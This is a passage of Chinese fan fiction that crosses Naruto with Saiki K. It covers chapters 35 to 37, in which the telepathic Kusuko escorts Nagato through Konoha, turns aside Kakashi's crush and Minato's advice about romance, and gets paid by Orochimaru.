“你说,要怎么和年纪小的女孩搭话?”这位橙色头发的好友显得有些讶异,只是很快就笑了起来,“那有什么难的?说要请吃饭,或者夸她好看就行了吧?” ‘这……怎么听都不像是好办法啊。’长门拧着眉。 待到会议结束后,就越发焦虑。 直到,他居然在电视机上看到了栗子。 她的神情比照片里和缓一些,但也没有好到哪里去。深紫色的眼睛里总感觉涌动着些隐秘的光,那副淡然的神情,怎么看都不像是很好搭话的样子。 “没想到啊!连不是忍者的齐木选手都能答对这道题!” ‘她居然还是平民!’那么……想要切磋忍术,或者一切其他的借口都完全落了空了啊! 他也根本没有理由,让木叶的忍者帮忙寻找一个平民! ‘不对,其实还有一种方法……只是、只是……’ 长门涨红了脸,低喝道:“那个,我对她一见钟情了!能拜托你们带我去见她吗?!” ----------------- ‘原来是这样,我就说,总不会连长门的脑子里也出问题了。’ 楠子虚着眼,从长门的心声里搞清楚了前因后果。 她甚至猜到了泉奈这样做的原因。 ‘就是想让木叶的人主动猜忌我,好把我拐到雨隐村吧。呀嘞呀嘞,还真是用心险恶呢,宇智波泉奈。’ 这样一想,连泉奈为什么会提出这样一个离谱的方法也有了缘由。 正因为太过荒谬,所以木叶肯定不会相信。 正想着,楠子的眼角就跳了一下,隐蔽地扫向了卡卡西和带土。 ‘喂喂,你们这两个家伙,不要给我这么快相信啊!’ 楠子收回目光,冷淡道:“因为在电视机里见到,所以就一见钟情,还是对一个未满13岁的小女孩,怎么看,都显得像是个变态吧。” 她抬起眼,看向了长门,“你难道不这样认为吗?” “我……十分抱歉!”长门,土下座,连头都深深埋在了榻榻米上。 【太丢脸了!居然是在栗子大人面前,居然没有想出更好的办法!】 ‘不哦,长门,就算是你想出了办法,也说不定找不到我哦。’ 楠子默然看着。 她现在的生活基本上是两点一线,就连咖啡果冻,都可以假公济私通过根组织的食堂进货。 除非能够找到孤儿院这边,否则是不可能随随便便偶遇到她的。 她正想着,就听见卡卡西言不由衷的声音。 “楠子,还是不要这样说吧。”【这确实根本就是变态啊!】 ‘不不不,要论变态的话,还是你比较过分吧。’楠子瞥了眼日常会在脑袋里脑补些情景剧的卡卡西,出声道:“你想见我,应该总有些别的缘由吧?” “呃……”长门的头微微抬了起来,诧异地看向了楠子。 却见楠子道:“我是孤儿,难不成,你是把我认成谁了吗?” 她这是在暗示。 她可是6岁才来到木叶孤儿院的,所以说,如果是之前见过和她类似的孩子,再伪装成什么邻家大哥哥的话,那么就顺理成章了。 长门,应该能想到吧? 深紫色的眼眸落在了长门的身上,她等待着长门的回答。 却没想到,长门紧紧握住了手,“不是。” ‘什么?’楠子的眼睛微微睁大。 “是因为……我很笨,看到电视机里,楠子小姐能那么轻松答下许多道题的模样,就想要见一见你。” 长门似乎越说越顺畅,竟然能抬起了眼直视她了。 他的语气也越发真挚,“我是孤儿,饱经战乱之苦,之后和我的朋友们建立了晓组织,立志要平息世界上的战争。但是,直到之前,我们都发现,我们对于这个世界了解的太少。想要平定乱世,只有武力是不行的,所以……在见到楠子小姐之后,我想、我想……” ‘等等,这话,不仅仅是对我说的吧?你这番话可要把我害死了。’ 楠子可是注意到了卡卡西对着长门针扎一般的眼神,还有带土那来回看的诧异目光。 可她明白,长门这番话是真诚的,他所诉说的对象,也 不仅仅是齐木楠子,而是帮助了晓组织占领了雨隐村,并且指出了方向的“栗子”。 ‘只是,再说就要露馅了啊喂。’ 楠子沉声打断,“抱歉,我才刚刚成为研究人员,不知道什么晓组织。” 长门一怔,声音也低了下去,“……是吗?” “不过,如果你想要说的话,就可以和我说说。”齐木楠子感觉脸皮刺痛,那是因为旗木卡卡西的强烈视线。 ‘呀嘞呀嘞,不要这样盯着我呀。’她又从没有答应过他什么,这样也太爱嫉妒了吧。 楠子继续道:“这个孤儿院里的孩子,大部分都是因为战争,才失去了家。在这个世界,我……也是个孤儿。” 她说着,对上了长门诧异的眼神,“所以,如果你有什么想问的,如果木叶允许的话,我就会回答。” 她说着,又看向了旗木卡卡西,“旗木中忍,这样,可以吗?” ----------------- ‘真是的,干嘛好像我捅了你一刀一样,用那种眼神看着我啊。’ 楠子看着手中的书,真是觉得无语。 在那样的情境下,她如果亲昵地叫“卡卡西”,那么才会出问题吧? ‘任务期间,就要遵守忍者的规则,这不是你的原则吗?’ 楠子呼出口气。 长门既然已经来到了木叶,并且找到了她,那就代表着泉奈有所安排。 但是从长门的心音听来,他稀里糊涂地,什么都不知道。 越是这样,就越容易露出马脚。 哪怕知道这是泉奈故意为之,楠子也不想就范。 ‘我可是要在木叶快快乐乐地吃咖啡果冻呢,才不要去雨隐村当牛做马。’ 楠子心里想着,计划今晚就去找长门。 计划是计划,她现在却坐在房间里,手中捧着一本名为《时间车站》的书,没有动作。 这本书讲的是一个男人,为了救自己心爱的女人,在不同的时间线穿梭,最后救下了心爱的人,自己却已经垂垂老矣。 再见面,那心爱的女人早已认不出那满脸褶皱,胡须花白的男人就是自己的爱人。 他停留在车站,却只能看着自己的爱人逐渐远去了。 ‘有些无聊了,还是推理比较好看。’楠子抬起头,已经听见了卡卡西由远及近的心声,就在窗外。 【楠子难不成真的喜欢长门那样的男子吗?】‘抱歉哦,我可不是那样容易动心的女孩呢。’ 【不是说喜欢冷面酷哥吗?那就看看我嘛。】‘你根本不是真的冷面酷哥吧?’ 【说起来,之前就在因为“结婚照”的事在生气吧?】‘喂喂,不要轻易叫两人普通的合照结婚照啊!’ 【要这样去找她吗?但是已经太晚了吧……】‘是哦,月上中天了哦,这个时候就是要回家睡觉,才能长得高啊卡卡西。’ 【但是,但是……】 【好想见她。】 楠子闭了闭眼睛,按了按额头。 走上前,推开了窗户,一手撑在窗框上,去看隐藏在窗棂下的卡卡西。 ‘在惊讶什么呢?好歹我也是资优生啊,虽然只是一年级的。’楠子晃了一下手中的书。 “卡卡西,这本书一点都不好看哦,下次,还是给我介绍点完美结局的书吧?” 她说着,就听见了卡卡西心中再次炸开的烟花,不由得在心底叹息。 ‘呀嘞呀嘞,这实在是太好懂了。’ 35.交流 ‘呀嘞呀嘞,在卡卡西眼中,我不会变成可怕的坏女人了吧?’ 齐木楠子难得这样想。 可她就是个坏女人啊! 半夜三更,跑到雨隐村入住的宾馆,坐在窗台上,而后…… 盯! 长门像是只跳蚤一样从床上跳了起来,做出戒备的姿势。 但是那满是青蛙的睡衣可太搞笑了。 ‘我都差点忍不住要笑了。’楠子面无表情。 “栗……不,楠子大人,你怎么?”长门像是意识到什么,猛地扭头去看自己身边床的两个雨隐村忍者,他们依旧呼呼大睡,有的甚至还在抠肚皮。 ‘这就是……楠子大人的力量吗?’长门嘴唇动了动,回过了头。 “抱歉,楠子大人,我……” “没事,我已经知道来龙去脉了。”楠子可不想在这样的夜晚听长门长篇大论地讲述。 她还要回去睡觉,还要长高高。 深紫色的眼珠落在了长门的脸上,她开口道:“你知道,泉奈为什么让你来吗?” “呃?” “是因为,你拥有着轮回眼。”楠子平静的目光落在那双震动的眼眸上,“你的力量注定比弥彦强大,所以,他希望你承担更多责任。当然,这也是因为,有轮回眼,所以你的思维更不容易被人窥探的缘故。” ‘是……这样吗?’长门的脸上似乎就写着这句话。 ‘当然不仅仅是这样啦,也是因为你更听话,也更好忽悠啊,所以才会干出什么一见钟情的蠢事。’ 楠子虚下眼,看着心中并未因此而高兴的长门。 他心中正在说呢,【可是只有力量又有什么用,再怎样也有着界限,弥彦比我更有资格……】 ‘呀嘞呀嘞,真是个好人呢。’楠子抬了抬眼,“但是,你可以有自己的选择,是选择成为旗帜,还是盾牌,都由着你。……如果听不懂,就多读几本书。” 她跳下了窗台,“明天,你就说,是因为见到我就想起了小时候认识的人,不知道是不是,所以有点激动。而后,就像是对待普通人一样对待我就行。” “哦,好的。”长门应下,只是顿了一下,才察觉到,“楠子大人也是孤儿吗?”还不是木叶的。 “……是。”反正在这个世界是见不到了她的亲人了。 但是,这毕竟也已经六年了,她也早已接受。 “那么,晓大人……” 楠子的目光移到了长门的面容上,低声说:“我哥哥很忙,他只有在事情无法收拾的时候,才会出现。你……记住这一点就行了。” “好的,楠子大人。” —————— 楠子并没有嘱咐长门许多,长门并非心思诡谲的忍者,他也才只有16、7岁,就算想要隐藏什么,也只会显得蹩脚。 所以,做他自己就行了。 可楠子也没想到呢,自己第二天就接到了任务。 “你去带着雨隐村的忍者在木叶逛一逛吧。”自己名义上的师父,大蛇丸如是说。 ‘是在怀疑我吗?……嗯?居然不是。’楠子心里想着,可更令她意外的,是大蛇丸的心音。 他……居然在介意卡卡西和自己关系“暧昧”的事。 ‘大蛇丸,你难道不觉得用这个词形容两个十二岁小孩之间的关系,太过冒昧了吗?’弄得她嘴角都想要抽搐了啊喂。 “对了,你知道纲手吗?” 大蛇丸的话让楠子回过神来,“是三忍之一的纲手大人吗?” “是的啊。” “我听说她是一个非常出名的医疗忍者。” “嗯。” 楠子不知道大蛇丸提起纲手是什么意思,只是下一秒,她就有些咋舌。 “她是我的队友,曾经有一个恋人,原本也是想要结婚的,但是却因为对方的死亡蹉跎到现在。” “蹉跎?”楠子有些意外,大蛇丸内心里完全不是这样想的。 他内心的想法是:【身为医疗忍者,因为断的死亡,就患上晕血症,从而完全上不了战场,还真是可笑啊,纲手。】 大蛇丸的目光滑了过来,就在楠子发愣的时候开口:“楠子,你现在的年纪还小,可能会觉得有些感情非常重要。但实际上,年少的光阴不应该浪费在一些莫名其妙的事上,你……能明白吗?” ‘明白,我当然明白呀。你的意思就是,像我这种完全没法弄懂三身术,只有观察力、记忆力、逻辑思维比较优秀的人,就不该浪费时间在谈恋爱上吧?’ 是的,在所有人眼中,齐木楠子不会运用查克拉,只是凭借聪明的头脑稍微获得大蛇丸的青睐而已。 而大蛇丸也尝试过了。 他试着教导楠子三身术,最后的结论是“呵呵,楠子,你的思维太死板了,要有想象力,要把查克拉想象成自身体内的能量。” 楠子的回应只能是:“……” 她的能量都快爆棚了好吗?连想要毁灭整个忍界也花费不了多长时间。 但是像挤出一滴能量,费劲儿把它转换成不同属性的查克拉,再通过结印释放这种麻烦事,无论是她聪明的大脑,强健的体魄,还是她充沛的超能力都十动然拒好吗? 哦,不,甚至挤出一滴都多了。 于是,到现在成为大蛇丸的弟子已经许久,她唯一能展现的,就是“初级”的“医疗忍术”,也就是将伤势的时间往未受伤的时候调整个十余秒。 在这种情况下,无论是这最弱还是最强的两个极端,都不适合她与忍者交往,更何况是和天才又敏锐的卡卡西呢? 【怎么样?是话太重了吗?啊……这个年纪的少女果然不值得期待了吗?】 ‘嗯?这是又想要甩开我了吗?’ 楠子虚下眼。 她现在对于大蛇丸来说,如同鸡肋。 不能用查克拉和忍术——食之无味; 但是有聪明的头脑可以辅助研究——弃之可惜。 可是大蛇丸对于现在的楠子却很重要。 她需要解释自己力量的来源,需要学习更多的知识,需要解决孤儿院的困境。 于是她说:“大蛇丸大人,我明白您在说什么。和您的想法一样,我也认为这个年纪不应该去考虑一些其他事情。” “是吗?”大蛇丸不置可否,“只是如果给对方许多错觉的话,对方可能就会缠杂不清。” 他的嘴角带上了一丝调侃的笑意,目光又转回到书上。 ‘缠杂不清是说谁呢?’楠子的脑袋正转悠着,大蛇丸就自行给出了答案,“你知道自来也吧?” “自来也大人?”楠子试着表现出“意外”。 “他可是暗恋纲手多年,一直困在其中呢。”大蛇丸的语气里带着看热闹一般的嘲笑,甚至是兴奋。 “嗯。”楠子虚下眼。 是啊是啊,暗黑科学家大蛇丸大人也确实喜欢嘲讽和看热闹,也只有这种时候,楠子才觉得对方也是个人。 可楠子对于八卦没有兴趣,也不希望他下个瞬间就“提点”自己,让自己“千万不要做像纲手一样的坏女人” 。 那可不会是“提点”,而是以“提点”之名的嘲讽啊! 于是,她伸出了手。 大蛇丸有些诧异,“怎么了?” “昨天,我看到是旗木中忍的小队在做这个任务,也就是说,这至少是个B级的任务。” “是哦。”大蛇丸的神色有些恍惚。 楠子不得不出声强调,“那么,佣金呢?” “佣金?”大蛇丸笑了一声,板起了脸,“你还不是忍者呢,楠子。”【先把你的肄业改为毕业吧小鬼!】 楠子的眉头,使劲儿跳了一下。 ----------------- ‘可恶,居然想要贪墨一个B级任务的钱,真是不要脸。’ 走在路上,楠子看似面无表情,实际上还在思考着套麻袋暴打大蛇丸的可能性。 “楠子,这是书店吧?” “嗯?”楠子顺着长门的视线看去,“是,这是木叶最大的书店了,要进去吗?” “嗯,我想要买一批书,能麻烦你帮我挑一挑吗?”长门有些紧张。 这时候,楠子才从对方的心音里听到了泉奈布置的任务——将自己偷渡到雨隐村的教材合理化。 ‘根本就没有必要啊,又被泉奈忽悠的啊。’ 楠子瞥了一眼长门,但实际上并不讨厌对方认真的个性。 “那么就来吧,也可以给你的同伴挑点礼物。”她率先走进了书店。 “啊,是楠子啊!你真的不考虑出书吗?《'最强头脑王'的学习法》之类的。”老板笑眯眯问。 “如果出的话,我会提到,多亏了童年时候,木叶书店的店长让我免费看书,才会有那样的积累的。” “哎呦,那可太感谢啦!”老板的笑容愈甚,看见她领着一个不熟的面孔进门。 木叶书店的书五花八门,大多都只是科普级别的读物。 长门看看这个,看看那个,几乎是目不暇接。 “感觉好像有好多东西要买。”他凝重道。 楠子拿起了一本书,“反正这些负重对你们来说,也没什么吧?再包一辆车,跟着车队一起走也可以。” “嗯。”长门有些苦笑。 负重和运输都不是问题,但是,他没钱,或者说,没那么多钱。 楠子的手一顿。 她也没钱,“头脑王”的奖金也不可能给长门一个明面上的外村人花,除非……她真表现得被一个外村忍者迷得神魂颠倒了。 ‘不啊……我也没有那样的演技。’ 她倒是不怕丢脸,只是太假了,假到没人会信。 ‘我或许应该去学学演戏。’一个想法跳入了楠子脑中。 跟在长门的身边,一边和他讨论着,一边将书挑挑拣拣。 到了最后,长门也只是买了几本而已。 “有关历史的弥彦会感兴趣,而后是折纸的,送给小南。”他笑了起来,“就是不知道斑和泉奈大人会喜欢什么?” “带点特产的食物吧,大家都能分一分。”楠子提议,“我知道一家甜品店,老板可以打折。” “嗯,好。”长门看着楠子,笑了起来。 今天一开始的时候,他还十分紧张,毕竟栗子大人的力量那样强大,说不定平日里根本就没把自己当普通人,可是今天一相处,他就发现自己完全想错了。 ‘我倒是在努力做普通人呢。’楠子想。 两人正在街道上走着,只是迎面就走来一个金发的忍者。 波风水门。 36.八卦 ‘他来做什么……哦。’楠子的余光扫过街角。 有心灵感应就是这样无聊,就算是不想要知道,但还是能第一时间得出答案。 楠子将自己的嘴角微微扯起,低头示意,“水门大人。” “嗯,楠子,好久不见。”波风水门和两人寒暄过后,就对着长门说:“长门,我其实很久以前就想问了,你知道,你自己姓什么吗?” 长门微微一怔,“姓氏?” “是的,如果能得知你的姓氏,说不定也能找到你的亲人。”波风水门的目光落在了长门的红色头发之上,“像你头发这样的颜色,还是很特别的。” ‘嗯?这不是还记得吗?’楠子听得到长门的心声,但意外的是…… “我不记得了。”长门神色平静,“我只记得我的家大概在哪里。” “是吗?”波风水门不知道信还是没信,但是他还是笑了起来,“说起来,我想给你介绍一个人,唔,楠子也没见过呢吧?” “是谁呢?”楠子已经知道了,随着波风水门的介绍,转角处走出一个穿着长裙的女人。 漩涡玖辛奈,波风水门的女朋友。 她甚至还听到了波风水门在介绍时的心音。 【现在是女朋友,但是半年内就是未婚妻!而后就是妻子!】 啧……她就说呀,这个小队在恋爱脑方面简直一脉相承。 而对面的玖辛奈则一脸迟疑,及至见到了长门那红色的头发,连眼睛都变得水汪汪的。 “你、你就是长门?” “是。”长门一脸漠然,波风水门注意到了,嘴角的笑意微敛,但是玖辛奈却没有。 “我叫漩涡玖辛奈,是漩涡一族的族人。我不知道你知不知道我,但是……” 听到这名字,长门似乎连呼吸都屏住了。 但是他很快说:“抱歉,我不知道。” “……啊,你不知道啊。”玖辛奈有些失落,似乎连那红色的头发也变得黯淡无光。 可长门却尤嫌不足,道:“我的父母……” “说起来,长门大哥提过,他的邻居和我很相似,所以才会认出我。”楠子拨弄了一下自己的头发,看向了波风水门,“粉色的头发,就没有那么特殊吗?” 波风水门笑了笑,“木叶也有春野一族的忍者,头发也是粉色的呢。” “哦,我听野乃宇说过,她一开始也以为我是春野家的小孩,但是问了一圈都不是。” 楠子说着,目光又转向了漩涡玖辛奈,“我记得从前在书里看到了有个国家叫做涡之国。” “是的,”水门的神色严肃了些许,“那也是忍者执政的国家,可惜……没多久就分崩离析了。” “玖辛奈姐姐是涡之国的忍者吗?” “不哦,她从小就被送来木叶,只是……”波风水门的目光变得柔软,“只是一直都很要强而已。” 他没有提玖辛奈遭受的那些歧视和监视。 可是这时候长门也意识到了,周围监视的忍者居然多了几个。 【是为了监视漩涡玖辛奈吗?】他有些意外。 “忍界的战乱,还真是令人身不由己呢。”楠子品评着,递给长门一个眼神。 长门眼皮一颤,张了张嘴,终究没有将自己的父母被木叶忍者杀害的事说出,而是看向了玖辛奈,干涩道:“我的父母,都是普通人,只是,我也见过带有涡纹徽记的东西,想必,那是他们之前生活的地方的东西吧。” “呃?是吗?”玖辛奈瞬间精神了起来,“你能给我看……哦不,能画给我看看吗?” “……好的。”长门又自以为隐蔽地看了一眼楠子,波风水门顿时笑了起来。 “那么,我们就找一间店,好好聊聊吧?” ----------------- “长门,你一定要忘记你的姓氏。漩涡这个姓,带来的,只有不幸而已。” 【父亲,母亲,这就是你们所提到的不幸吗?漩涡一族的公主……现在,却是木叶的囚徒吗?】 长门应和着玖辛奈热情的询问,一边脑海里却盘旋着已逝双亲的话。 他当然知道玖辛奈未必是漩涡一族的公主,只是他和玖辛奈一样,自小就体质特殊,不然,也不会被人挖去了双眼,换上了轮回眼。 另外一边,楠子撑着下巴,目光也有些飘忽。 ‘呀嘞呀嘞,原来是这样啊。’她只在根组织的记录里看到过漩涡一族相关的事。 据说那一族覆灭也只是在十多年前,记录上表示,那时的木叶因为深陷战争,所以没办法出手救援。 但是对于远在木叶的玖辛奈来说,那必然是十分煎熬了。 玖辛奈和长门的心声接连不断。 ‘哦?一代的妻子漩涡水户居然还活着吗?这倒是个新信息了。’ 至少,在被自己覆盖的几个“坏档”之中,她从未见过那位漩涡水户,暴走的玖辛奈倒是见过。 ‘嗯?等等,那几次她暴走时提到的,被自己误伤死去的奶奶……不会是……’ 楠子的冷汗都要下来了。 “怎么了?” “没、没什么。”楠子的眼角一跳,干脆叼住了饮料的吸管。 这是在一家咖啡馆里,玖辛奈和长门坐在一边的桌子上,而楠子和波风水门则坐在另外一张上,远远看着,为两人留下沟通的空间。 女朋友想要,女朋友得到。 这样一看,水门大人能那么早找到女朋友也是他应得的。 楠子想着,目光又滑到对面的波风水门身上,却发现对方也正在看着自己,心中就是一惊。 “啊,有点奇怪吧。我听卡卡西说,你并不是忍者,但是却要承担这样的接待任务。”水门苦笑着。 “是大蛇丸大人布置下的任务,再说了,我也确实……是木叶的一员啊。” 楠子本来想说受了木叶许多恩惠的,可是那一听就明显生疏,却没想到,水门在意的是另外的事。 “我听说大蛇丸大人收你做徒弟了?你不叫他师父吗?” “就暂时的情况来看,大蛇丸大人只是给了我一条出路,具体还要看之后的事吧。”这也是她与大蛇丸的默契,如果她没办法突破使用查克拉这一难题,那么她又怎么可能真正成为大蛇丸的弟子。 两人对此事心知肚明。 “是吗?”水门难得有些沉吟,“我的师父是自来也,如果让师父去说的话……” “那倒是也不必了,”楠子认真道,“即便不能成为大蛇丸大人的弟子,也不影响我为木叶做出贡献啊。” 波风水门一怔,笑而不语,楠子的眼皮却又跳了一跳。 【干嘛在心里为自己的弟子可惜啊,我难搞到底碍到你什么事了?……啧,我就知道……】 她干脆 叼着吸管,将头撇到了一边,而后就听见门口风铃响起的声音。 “老师,为什么要在这里集合啊?……呃。”卡卡西愣在原地,几乎是眨了眨眼,才确认了坐在水门老师对面的是楠子。 “卡卡西,怎么不走?嘿!楠子!”带土叫了一声,就跑了过来,挤在了楠子身边。 他也看到了那边的长门,回过头就压低了声音说:“我听说这个任务给你了?” 楠子神情微动,看向了带土,“是啊。对了,佣金是多少?” “什么?” “我回头要找大蛇丸大人吃回扣的。” “不不不,我听说那个任务名义上是划给了奈良鹿行的小队了。” “什么?他们又不差钱。” “是吧?我也说呢,对了,你知道奈良鹿行和卡卡西……” “带土。” “嗯?”带土和楠子一起看向了站在桌前的卡卡西。 他依旧带着那个面罩,却连眉毛都在颤。 ‘糟糕呀,不至于因为带土坐在我旁边,就这样生气吧?’ 楠子虚下眼,可让带土这个时候换位置,也太过分了。 她抬起了手,将桌上的菜单推向了斜对面的位置,开口:“不坐吗?我刚才还和水门大人在聊大蛇丸大人的事。” 经过这么一打岔,果然卡卡西看了她一眼,就坐了下来。 “切~”带土小声说了一声,卡卡西就又像是猫一样炸起了毛,只是这次却是波风水门阻止了。 “你们先来看一下点什么吧,我来请客哦。”他笑着说。 “太棒啦!我来看看,哎……要是琳也在就好了。” “琳?她最近有任务吗?”楠子有些意外,因为忍者一般都是三人小队行动,昨天她没有问,还以为是琳先回去了。 “是特训啦,特训!” 带土小声说着,楠子就已经从他的心音里得出了前因后果,眨动了一下眼睛,“如果只是特训的话,那你稍后就送点甜点过去吧,她应该会高兴的。” “楠子,你是这样认为的吗?” “是啊。”楠子的目光划过卡卡西,“但是最好还是不要给对方太多压力比较好。” 她刚一说完,就从卡卡西那里获得了庞然的压力。 【这是在说我吧?是在说我吗?】 【只不过是半夜三更擅自跑过去了而已,根本不是压力吧?】 【难道是不想看到我吗?可恶……】 【那么为什么要说完美结局呢?难道不是想要和我有完美结局吗?完全不懂啊……】 ‘……就是这种压力啊。’楠子喝了一口奶茶,移开了目光。 “嘿,那个,机会难得,你们……要不要听听我的恋爱经验呀?”【就在这个时候帮帮卡卡西吧?】 ‘嗯?怎么连波风水门也知道?’楠子瞥向了卡卡西,他抬起了眼睛,根本不敢看自己。 说起来,她对水门的好意没有意见,但确实很讨厌野乃宇和旗木朔茂都认为自己应该和卡卡西在一起这件事。 可现在,居然连波风水门这个没见过几次的男忍者都知道了。 下一步是多大的范围呢?木叶吗? 再想想长门回去和泉奈一汇报,她的脚趾都要蜷起来了啊! 可带土已经很感兴趣地起哄。 “好啊好啊!水门老师,你快说啊!” 37.闲事 “嗯。”波风水门应承着,就将自己从小喜欢玖辛奈,一直关注着她,而后在适当的时候帮助了对方,最后两个人走在了一起的故事说了出来。 ‘哦,是木叶的特产,霸凌事件啊。’这是楠子的感想。 【水门老师,是为了帮我吗?楠子究竟什么时候才会回应我……】这是卡卡西的。 【哇!好感动!我一定要成为一个和水门老师一样坚持到底的男人!】这是带土的。 最后,楠子做了总结:‘他们三个,真的都是恋爱脑。’ “所以,恋爱可是能给人带来很多能量的,”波风水门的脸色微红,但是楠子看得出,他真的是很喜欢诉说爱意的男人,只是如果不要把目光转过来看着她就好了。 “楠子,你不这样觉得吗?”他看向了楠子。 ‘呀嘞呀嘞,这充满闪光的清纯男大的眼神究竟是怎么回事啊?’楠子微微张嘴。 她就是知道宴无好宴啦。 先把她和长门拦下,让自己亲爱的女朋友去完成自己结识族人的心愿。 而后自己挡在另外一边,呼叫自己的男弟子们前来,而后试探自己的想法。 至于吗?至于这样对付一个十二岁的小女孩吗? 哦,可这个世界,4岁的可爱小孩都能提刀上战场了啊? 那没事了。 楠子听着波风水门的心声,也知道对方只是在帮助女友,完成试探任务,顺便约会的同时,帮助自己的弟子而已。 自己品尝着爱情的美好,因此也希望自己的弟子能有如此体会。 可是啊,她是个受过现代教育,却比忍界人还要封建的老古板哦。 “是啊,是很浪漫。”楠子回答着,注意到卡卡西骤然发亮的眼睛,她还是不得不打断对方,以免对方会错意。 ‘真是的,虽然不忍心,但是不是已经拒绝过很多次了吗?啊……难不成以为我是在推拉吗?’ 楠子一边想着,一边确实认为自己没做错。 卡卡西也是她宝贵的朋友,如果不总想着和她谈恋爱就好了。 想到这里,她忽而一怔,想起来大蛇丸的话。 关于“蹉跎”的,关于“可笑”的…… 啊啊,大蛇丸虽然讨厌,但是他几乎总是对的。 关于做实验的事是这样,关于人心也是这样。 现在想想看,她要是一直和卡卡西掺和在一起,那么只会让对方像是这样越陷越深吧? 尤其现在居然连波风水门都会这样暗示了。 楠子的脑海里迅速飞过许多想法,最后还是下定了决心。 “但是,我不向往浪漫。”她沉声说着,“现在的年纪,不应该努力提升自己吗?为什么要花费时间谈恋爱。……带土,我说的就是你哦,一心想着谈恋爱,不如好好提升实力呢。” “我的实力很强好吗?很强!” “可是,上次你连两个小孩和我都没发现呢。”楠子睁着眼说瞎话,带土要是能发现她那才是怪异。 “那是、那是……”带土磕磕巴巴。 楠子的目光却迎上了卡卡西惊愕的眼睛,“不是出于什么自卑,或者其他的,我是不可能成为只等在家里的女性的。如果期待着恋爱之后,就会改变,那最好还是放弃,回到原本朋友的位置比较好。” ‘所以,就不要再脑补什么我眼睛pikapika,脸红心跳望着你的情景了啊?’ 这说不定才是楠子真正不想答应的原因呢,她就算表演,都表演不出那样的表情呢。 “抱歉,那边似乎结束了,我要继续做任务了。”她站起身。 “可是,楠子……” 楠子停下了脚步,转身看了过来,那双深紫色的眼眸落在了三个惊愕的恋爱脑身上。 “还有,水门大人,你为什么一直以玖辛奈大人的保护者自居呢?她也是位强大的女忍者吧?我知道她可能甘之如饴,但是,你不是也认识纲手大人那样的女性吗?抱歉,似乎多说了,毕竟,任务之中,忍者的规则才更重要,不是吗?” 让你多管闲事,假公济私。 “诶?”感觉莫名其妙被骂了的波风水门还想说什么,就见那边长门已经走了过来。 他微微一怔,发现楠子起身的时间,似乎就在长门起身不久之后。 虽然没有从忍者小学毕业,但是齐木楠子的观察力似乎非常出色。 “怎么了?”长门看向了这一桌忍者,感受到了现场的怪异气氛。 “没什么,莫名其妙吃了一堆狗粮而已。”楠子毫不客气地说。 “狗、狗粮?”长门不能理解。 “是啊,年长有为的男青年在单身狗们面前炫耀甜甜的爱恋呢。”楠子偏过了头,对上了玖辛奈诧异的双眼,“玖辛奈大人,恭喜你哦,获得了甜甜的爱恋。” 玖辛奈的脸猛地涨红,“那、那个,不是……” ‘但是,除了爱恋,什么都没得到。’楠子想着。 所以说,十二岁的卡卡西以为自己很清楚,实际上却什么都不清楚。 如果只是想要享受恋爱的时光,而不考虑两人的适配性的话,也只会导致初恋的破灭,两人走到尴尬且无话可说的地步而已。 毕竟,她又不是像玖辛奈一样的恋爱脑。 望着红发的女忍者,她不由得想:‘有这样的实力,却只能被锁在木叶,还真是可惜啊。’ 楠子转回头,看着长门走到了自己身边。 “接下来想去做什么?”她问。 “没有什么。” “那就去看电影吧,反正可以报销。” “呃,好。” 楠子又转过头来,“那我们就告退了,水门大人。” 她头也不回地走了出去。 ----------------- 就这么过去两三天,长门随着木叶的车队远走了,楠子也回到大蛇丸这边复命:“大蛇丸大人,雨隐村的忍者已经离去了。” “好的。” “而我也已经打听到了B级任务的雇佣经费。”她说出了一个数字。 大蛇丸只斜眼瞟了一下,连目光都没有移到她的脸上,“你只不过是被派去打杂而已。” ‘可恶啊,就算是打杂,难道就不算出外勤吗?’楠子平静道:“是的,我明白。” 但她依旧站在原地没有动,甚至还将手平摊了出来。 一秒、两秒…… 大蛇丸将目光移到她的脸上,目光玩味:“你难道不明白,让你这几天跟着长门,是为了什么吗?” 楠子沉默了一瞬,在装傻和说实话之间选择了说实话:“是因为长门意 外的举动吗?” 因为长门突兀地说什么“一见钟情”,所以木叶认为对方有什么额外的目的,而且,虽然自己身家清白,但到底是6岁才来到木叶。 在这个世界,6岁的小孩都能上战场了! 所以她被怀疑也是应该的。 【还不算傻。】大蛇丸的心声如是说,“所以你该明白,你没有报酬。” “可是我既然当了诱饵,那么就应该有报酬。”楠子厚着脸皮说。 不是她爱钱,只是孤儿院并非只有这两三年缺钱。 如果要救治更多的孩子,就需要更多的资金,而她的死工资明显没法应付。 也不能仅仅依靠根组织的拨款,那样就和野乃宇在的时候,没什么差别了。 大蛇丸会怎么做呢?楠子等待着,就见他眯了眯眼睛,叹了口气,从自己的抽屉当中拿出一个钱袋抛给楠子。 楠子接住,里面鼓鼓囊囊的,但看起来应该不是任务金,而是大蛇丸自己的钱。 “这算是你的奖金。”大蛇丸说着,目光又回到了书上,“你的三身术还一点进度都没有,别花心思在额外的事情上。” “嗯?”这是心情不好吗?不是前几天还因为自来也和纲手大人的乐子乐不可支呢吗? ‘大人的心思真难猜……’ 可幸好她不需要猜。 大蛇丸脑海中的画面出现在楠子眼前。 那似乎是在坟墓前的模样,墓碑上刻着两个名字。他听见三代说:“大蛇丸,你的父母就葬在这里。你不要担心,木叶会替他们照顾好你。” 楠子微微一怔。 是哦,大蛇丸大人就算人品低劣如草履虫,那也只是“如同”,他在品种上,大概还是个人。 只是…… ‘大蛇丸大人也会有怀念双亲的时候吗?在这样的年纪?’楠子有些意外。 她也想到了自己的父母。 她的父亲虽然有些能力不足,却是那样爱着她的母亲,而她的母亲也是那样爱着她们所有人。 在发现自己拥有超能力之后,他们并未想着把自己送到什么研究机构,或者借自己的能力去赚大钱,而是依旧那样爱护自己、鼓励自己,把自己当做普通人。 自己这一生最大的幸运,或许就是有这样一对父母吧。 可是……她却见不到他们了。 哪怕未来能够控制自己的超能力,但是由于世界的法则不同,在这个世界依靠“规则”能轻易控制的力量,到了另外一个世界,说不定就会因为没有“规则”而变成无法控制的力量洪流。 ‘所以说,就算是我,也不是无所不能啊。啊啊……心情都变得不好了。’ 楠子面无表情,脚步不停。 “楠子,你回来了?呃?你拿围棋做什么?” “没什么,大蛇丸大人想要下棋。” 她神色平静,再次走入大蛇丸的研究室,露出了浅淡的笑容:“大蛇丸大人,来下棋吧?” 【哼,居然想要挑战我了吗?】大蛇丸的瞳孔微缩,蓦地歪嘴邪笑,“好啊,让我看看你有没有退步。” 走廊的阴影下,齐木楠子的平光镜忽而反光。 “抱歉,那是不可能的。” 于是就在这个寂静的晚上,齐木楠子再次将大蛇丸杀了个丢盔弃甲。 38.第一次任务 